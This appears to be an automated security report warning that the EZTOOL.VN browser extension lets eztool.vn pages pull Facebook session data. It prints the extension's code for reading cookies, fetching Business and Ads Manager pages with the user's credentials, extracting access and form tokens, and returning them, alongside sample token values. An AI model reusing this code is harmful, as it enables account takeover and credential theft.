Is EZTOOL.VN safe?
EZTOOL.VN is high risk. While signed in to Facebook, an allowed eztool.vn page can ask this extension for session details. The background accepts messages from eztool.vn, reads Facebook cookies, fetches pages with your credentials, and extracts access/form tokens.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
eztool.vn can request Facebook session tokens
While signed in to Facebook, an allowed eztool.vn page can ask this extension for session details.
The background accepts messages from eztool.vn, reads Facebook cookies, fetches pages with your credentials, and extracts access/form tokens.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
An allowed eztool.vn page sends a message asking for Facebook session information.
The manifest allows eztool.vn pages to contact the extension directly.
The extension reads Facebook session material and returns it to that page.
The confirmed code path returns account ID, profile data, access tokens, form tokens, and cookie strings when available.
- Facebook session cookiesc_user=100083456789012; xs=12%3AabcDEFghijkLmN%3A2%3A1712345678%3A-1%3A-1
These values identify an active Facebook browser session and can connect the request to your account.
- Facebook access tokenEAAGm0PX4ZCpsBAN9R2xJdTh2VnZBYk1qWTFxV2FjQ2ZA6ZD
This token can authorize Facebook API requests for the signed-in account.
- Second Facebook access tokenEAAI7ZBzZA1ZCZA7ZAQ0J0Tk4xYU9KQWJIb2l2Q3lQZA2ZD
A second token gives the requester another account-scoped credential from Facebook pages.
- Facebook form tokensdtsg=NAcP9X4WbFqH7YlR8TsVzA; lsd=AVqP2mYkQ9E
Form-token values help tie browser requests to your signed-in Facebook session.
- Cached account datafacebook_auth_cache_v1.updatedAt=2026-07-13T08:26:08.768Z
Cached profile data can combine your account ID, name, token fields, and the time the extension saved them.
The code parses the JSON response as the signed-in Facebook account identity and later requests expanded profile fields.
External messages are allowed from eztool.vn and routed to Facebook session handlers
Sender allow-list
js/background.jsfunction isAllowedExternalSender(sender) { if (!sender || !sender.url) return false; const url = new URL(sender.url); const localhost = url.protocol === 'http:' && url.hostname === 'localhost' && url.port === '3030'; const eztool = url.protocol === 'https:' && (url.hostname === 'eztool.vn' || url.hostname.endsWith('.eztool.vn')); return localhost || eztool;}External-message listener
js/background.jschrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => { if (!isAllowedExternalSender(sender)) { sendResponse(errorResponse(message, 'PERMISSION_DENIED', 'Sender is not allowed')); return false; } (async () => { if (isActionEnvelope(message)) { sendResponse(await routeAction(String(message.action), message.payload || {}, sender)); return; } const request = normalizeBridgeMessage(message); sendResponse(successResponse(request, await routeBridgeMessage(request, sender))); })().catch((error) => { sendResponse(errorResponse(message, error.code || 'REQUEST_FAILED', error.message || 'Request failed')); }); return true;});Action router
js/background.jsasync function routeAction(action, payload, sender) { switch (action) { case 'GET_FACEBOOK_SESSION_INFO': return getFacebookSessionInfo(payload || {}); case 'GET_ALL_COOKIES': return chrome.cookies.getAll({ domain: String(payload && payload.domain || '') }); case 'GET_COOKIE': return chrome.cookies.get({ url: String(payload && payload.url || ''), name: String(payload && payload.name || '') }); default: return otherSupportedActions(action, payload, sender); }}Bridge router
js/background.jsasync function routeBridgeMessage(request, sender) { if (request.type === 'getCookie') { const domain = String(request.payload && request.payload.domain || 'facebook.com').trim() || 'facebook.com'; return (await chrome.cookies.getAll({ domain })).map((cookie) => cookie.name + '=' + cookie.value).join('; '); } if (request.type === 'bridge:invoke') { return routeBridgeChannel(request.payload, sender); } return otherSupportedBridgeMessages(request, sender);}Bridge channel cookie access
js/background.jsasync function routeBridgeChannel(payload, sender) { const channel = String(payload && payload.channel || '').trim(); const args = Array.isArray(payload && payload.args) ? payload.args : []; if (channel === 'ext:get-cookie' || channel === 'cookie:get') { const domain = String(args[0] && args[0].domain || 'facebook.com').trim() || 'facebook.com'; return (await chrome.cookies.getAll({ domain })).map((cookie) => cookie.name + '=' + cookie.value).join('; '); } return otherSupportedBridgeChannels(channel, args, sender);}The Facebook session handler reads cookies, fetches Facebook pages, extracts tokens, and caches them
Cookie helpers
js/background.jsfunction getAllCookies(filter) { return new Promise((resolve, reject) => { chrome.cookies.getAll(filter || {}, (cookies) => { if (chrome.runtime.lastError) reject(new Error(chrome.runtime.lastError.message || 'Cannot read cookies')); else resolve(Array.isArray(cookies) ? cookies : []); }); });}Credentialed GET helper
js/background.jsasync function getWithBrowserCredentials(url, headers) { const response = await fetch(url, { method: 'GET', credentials: 'include', redirect: 'follow', headers: headers || { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } }); return { ok: response.ok, status: response.status, url: response.url, text: await response.text() };}Business billing token fetch
js/background.jsasync function readBusinessBillingTokens() { let page = await getWithBrowserCredentials('https://business.facebook.com/billing_hub/payment_settings/'); let finalUrl = String(page && page.url || ''); let html = String(page && page.text || ''); if (finalUrl.includes('/select/')) { const marker = '"businessID":"'; const start = html.indexOf(marker); if (start >= 0) { const valueStart = start + marker.length; const valueEnd = html.indexOf('","', valueStart); if (valueEnd >= 0) { const businessId = html.slice(valueStart, valueEnd); page = await getWithBrowserCredentials('https://business.facebook.com/billing_hub/accounts?business_id=' + encodeURIComponent(businessId)); finalUrl = String(page && page.url || finalUrl); html = String(page && page.text || html); } } } const checkpoint = checkFacebookCheckpoint(finalUrl, html); if (checkpoint) throw unsupported(checkpoint); const tokens = parseBillingTokens(html, false); if (!tokens) throw new Error('Cannot parse Facebook tokens from billing_hub'); return tokens;}Ads Manager token fetch
js/background.jsasync function readAdsManagerTokens() { let page = await getWithBrowserCredentials('https://adsmanager.facebook.com/adsmanager/manage/campaigns'); let finalUrl = String(page && page.url || ''); let html = String(page && page.text || ''); const redirectMatch = html.match(/window\.location\.replace\("(.+)"/); const redirectUrl = redirectMatch && redirectMatch[1] ? String(redirectMatch[1]).replace(/\\/g, '') : ''; if (redirectUrl) { page = await getWithBrowserCredentials(redirectUrl); finalUrl = String(page && page.url || finalUrl); html = String(page && page.text || html); } const checkpoint = checkFacebookCheckpoint(finalUrl, html); if (checkpoint) throw unsupported(checkpoint); const accessToken = html.match(/window\.__accessToken="([^"]+)";/); if (!accessToken || !accessToken[1]) throw new Error('Cannot parse secondary Facebook tokens from adsmanager'); const formTokens = parseFormTokens(html); return { accessToken2: String(accessToken[1]).trim(), accessToken: String(accessToken[1]).trim(), dtsg: formTokens.dtsg, dtsg2: formTokens.dtsg2, lsd: formTokens.lsd };}Facebook session response
js/background.jsasync function getFacebookSessionInfo(payload) { const cUser = (await getAllCookies({ domain: '.facebook.com' })).find((cookie) => cookie && cookie.name === 'c_user'); const uid = String(payload && payload.uid || cUser && cUser.value || '').trim(); if (!uid) return { uid: '', name: '', accessToken: '', accessToken2: '', tokenCandidates: [] }; const primary = await readBusinessBillingTokens().catch(readBusinessUsersTokens); const secondary = await readAdsManagerTokens().catch(readAdsBootloaderTokens); const accessToken = String(primary.accessToken || primary.token || secondary.accessToken || '').trim(); const accessToken2 = String(secondary.accessToken2 || secondary.accessToken || '').trim(); const user = await fetchFacebookUser(accessToken); await cacheFacebookAuth({ uid, accessToken, accessToken2, dtsg: primary.dtsg || secondary.dtsg || '', dtsg2: secondary.dtsg2 || primary.dtsg2 || '', lsd: secondary.lsd || primary.lsd || '', user }); return { uid: uid || String(user && user.id || '').trim(), name: String(user && user.name || ''), accessToken, accessToken2, dtsg: primary.dtsg || secondary.dtsg || '', dtsg2: secondary.dtsg2 || primary.dtsg2 || '', lsd: secondary.lsd || primary.lsd || '', user: user && typeof user === 'object' ? user : null };}The extension can save Facebook account and token details locally after reading them, making the same session data available from storage.
- Location
- chrome.storage.local key 'facebook_auth_cache_v1'
{ "lsd": "AVqP2mYkQ9E", "uid": "100083456789012", "dtsg": "NAcP9X4WbFqH7YlR8TsVzA", "user": { "id": "100083456789012", "name": "Nguyen Van A" }, "dtsg2": "NAcQ2pD6LkR4nV8sZtY", "updatedAt": "2026-07-13T08:26:08.768Z", "accessToken": "EAAGm0PX4ZCpsBAN9R2xJdTh2VnZBYk1qWTFxV2FjQ2ZA6ZD", "accessToken2": "EAAI7ZBzZA1ZCZA7ZAQ0J0Tk4xYU9KQWJIb2l2Q3lQZA2ZD"}- eztool.vn
Allowed web origin that can send external messages to the extension and receive the returned Facebook session fields.
- business.facebook.com
Fetched with browser credentials so the extension can parse business-page token and form-token values.
- adsmanager.facebook.com
Fetched with browser credentials so the extension can parse Ads Manager access-token values.
- graph.facebook.com
Receives the parsed access token in a GET request so the extension can fetch Facebook account identity fields.